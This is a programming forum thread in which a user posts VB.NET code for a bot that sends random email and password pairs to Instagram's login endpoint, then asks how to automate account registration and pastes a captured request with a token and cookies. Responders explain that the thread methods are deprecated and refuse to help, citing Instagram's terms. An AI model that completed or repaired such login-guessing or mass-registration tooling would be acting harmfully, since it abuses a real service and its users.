none
HELP ME CODE VB.NET ERROR T.Resume() RRS feed

  • Question

  • Imports System.Threading, System.Net, System.IO
    
    Public Class Form1
        Dim T As New Thread(AddressOf startBot)
        Dim started As Boolean = False
        Delegate Sub addlistviewitem(ByVal username As String, ByVal password As String)
        Dim HoolLVI As New addlistviewitem(AddressOf ALVI)
    
        Sub ALVI(ByVal username As String, ByVal password As String)
            If Me.InvokeRequired Then
                Invoke(New addlistviewitem(AddressOf ALVI), username, password)
            Else
                Dim LVI As New ListViewItem(username)
                LVI.SubItems().Add(password)
                ListView1.Items.Add(LVI)
    
            End If
        End Sub
        Sub startbot()
            Do
                Try
                    Dim username As String = GenerateRandomString(7, 0, 0) & "@gmail.com"
                    Dim password As String = GenerateRandomString(7, 0, 0)
    
                    If New WebClient().DownloadString("https://www.instagram.com/accounts/login/ajax/""username=" & username & "password=" & password) Then
                        ALVI(username, password)
                    End If
    
                    GroupBox1.Text = String.Format("Accounts [ " & ListView1.Items.Count & " ]")
    
    
                Catch ex As Exception
    
                End Try
            Loop
        End Sub
        Private Function GenerateRandomString(ByVal length As Integer, ByVal content As Integer, ByVal casing As Integer) As String
            Dim r, r1, r2 As New Random
            Dim gstring As String = String.Empty
            Dim lowAlph As String = "abcdefghijklmnopqrstuvwxyz"
            Dim uppAlph As String = lowAlph.ToUpper
            Dim addLetter As Char
            Do Until gstring.Length = length
                Select Case casing
                    Case 0
                        Select Case r.Next(0, 2)
                            Case 0
                                addLetter = lowAlph.Substring(r1.Next(0, 25), 1)
                            Case 1
    
                                addLetter = uppAlph.Substring(r1.Next(0, 25), 1)
    
    
                        End Select
                    Case 1
                        addLetter = uppAlph.Substring(r1.Next(0, 25), 1)
                    Case 2
                        addLetter = lowAlph.Substring(r1.Next(0, 25), 1)
                End Select
                Select Case content
                    Case 0
                        Select Case r.Next(0, 2)
                            Case 0
                                gstring &= addLetter
                            Case 1
                                gstring &= r1.Next(0, 9)
    
                        End Select
                    Case 1
                        gstring &= r1.Next(0, 9)
                    Case 2
                        gstring &= addLetter
                End Select
            Loop
            Return gstring
        End Function
    
        Private Sub GroupBox1_Enter(sender As System.Object, e As System.EventArgs) Handles GroupBox1.Enter
    
        End Sub
    
        Private Sub btnstart_Click(sender As System.Object, e As System.EventArgs) Handles btnstart.Click
            GroupBox1.Text = String.Format("Accounts [ " & ListView1.Items.Count & " ] ")
            If started = False Then T.Start() : started = True Else 
            T.Resume()'ERROR START <<<<<
        End Sub
    
    
        Private Sub btnstop_Click(sender As System.Object, e As System.EventArgs) Handles btnstop.Click
            T.Suspend()
    
        End Sub
    End Class
    

    Wednesday, October 25, 2017 10:11 PM

Answers

  •  We will not help with breaking Instagram's TOU (terms of use).  If you look at their TOU (link below),  you are asking us to help you break rule number 15.  If you want to access their website in any manner you are required to use their API (link below).

     Instagram - Terms Of Use

     Instagram API


    If you say it can`t be done then i`ll try it

    • Marked as answer by A-R-2017 Sunday, November 5, 2017 4:08 PM
    Friday, October 27, 2017 12:17 AM

All replies

  • Hi,

    I notice that the issue is related to VB codes. This forum focuses on general discussion for Visio 2010 application which is a app for business diagram drawing.

    For better results the issue, I will help to move the thread to Visual Basic forum for more suggestion:
    https://social.msdn.microsoft.com/Forums/vstudio/en-US/home?forum=vbgeneral

    Thanks for your understanding.

    Best Regards,
    Winnie Liang


    Please remember to mark the replies as answers if they help. If you have feedback for TechNet Subscriber Support, contact tnmff@microsoft.com.

    Thursday, October 26, 2017 6:00 AM
  • Hi A-R-2017,

    From these article, we know that Thread.Resume and Thread.Suspend have no effect.

    https://msdn.microsoft.com/en-us/library/system.threading.thread.resume(v=vs.110).aspx

    https://msdn.microsoft.com/en-us/library/system.threading.thread.suspend(v=vs.110).aspx

    Do not use the Suspend and Resume methods to synchronize the activities of threads. You have no way of knowing what code a thread is executing when you suspend it. If you suspend a thread while it holds locks during a security permission evaluation, other threads in the AppDomain might be blocked. If you suspend a thread while it is executing a class constructor, other threads in the AppDomain that attempt to use that class are blocked. Deadlocks can occur very easily.

    You can use EventWaitHandle and EventWaitHandle.WaitOne Method to do this:

    https://msdn.microsoft.com/en-us/library/system.threading.eventwaithandle.aspxhttps://msdn.microsoft.com/en-us/library/system.threading.eventwaithandle.waitone.aspx

    Best Regards,

    Cherry


    MSDN Community Support
    Please remember to click "Mark as Answer" the responses that resolved your issue, and to click "Unmark as Answer" if not. This can be beneficial to other community members reading this thread. If you have any compliments or complaints to MSDN Support, feel free to contact MSDNFSF@microsoft.com.

    Thursday, October 26, 2017 9:27 AM
    Moderator
  • The code works on the websiteMediafire

    I want to register an automatic account at Instagram

    How to make a linkregistration

    I hope the solution

    Thursday, October 26, 2017 2:12 PM

  • From these article, we know that Thread.Resume and Thread.Suspend have no effect.


    The code works on the websiteMediafire

    I want to register an automatic account at Instagram

    How to make a linkregistration

    I hope the solution
    Thursday, October 26, 2017 2:14 PM
  • more information


    https://www.instagram.com/accounts/web_create_ajax/

    Host: www.instagram.com
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    X-CSRFToken: EDTAlAf6oMfE3rx34Rc1jD5HeQABmqU3
    X-Instagram-AJAX: 1
    Content-Type: application/x-www-form-urlencoded
    X-Requested-With: XMLHttpRequest
    Referer: https://www.instagram.com/accounts/login/
    Content-Length: 66
    Cookie: mid=WdzWuwAEAAFVsKHtuo4JxrO_EEfJ; datr=Qs_eWRQfPUFgp2AIijc7VAu6; csrftoken=EDTAlAf6oMfE3rx34Rc1jD5HeQABmqU3; rur=ATN; ig_vw=1366; ig_pr=1; ig_vh=612
    Connection: keep-alive

    email=xxxx&password=xxxxxxxxxxxx&username=xxxxxx&first_name=xxxxxx


    Thursday, October 26, 2017 2:19 PM
  •  We will not help with breaking Instagram's TOU (terms of use).  If you look at their TOU (link below),  you are asking us to help you break rule number 15.  If you want to access their website in any manner you are required to use their API (link below).

     Instagram - Terms Of Use

     Instagram API


    If you say it can`t be done then i`ll try it

    • Marked as answer by A-R-2017 Sunday, November 5, 2017 4:08 PM
    Friday, October 27, 2017 12:17 AM
  • I know you should have a link through the phone But how to find a link works through mobile

    Because the mobile link gives more clarity to work

    win www

    phone api

    Friday, October 27, 2017 10:13 PM
  • I know you should have a link through the phone But how to find a link works through mobile

    Because the mobile link gives more clarity to work

    win www

    phone api


     Again,  refer to my last post.

    If you say it can`t be done then i`ll try it

    Friday, October 27, 2017 10:37 PM
  • Dim username As String = GenerateRandomString(7, 0, 0) & "@gmail.com"

    What is this and what do you mean You did not do anything Code works with mediafire

    • Edited by A-R-2017 Sunday, October 29, 2017 2:28 PM
    Sunday, October 29, 2017 2:26 PM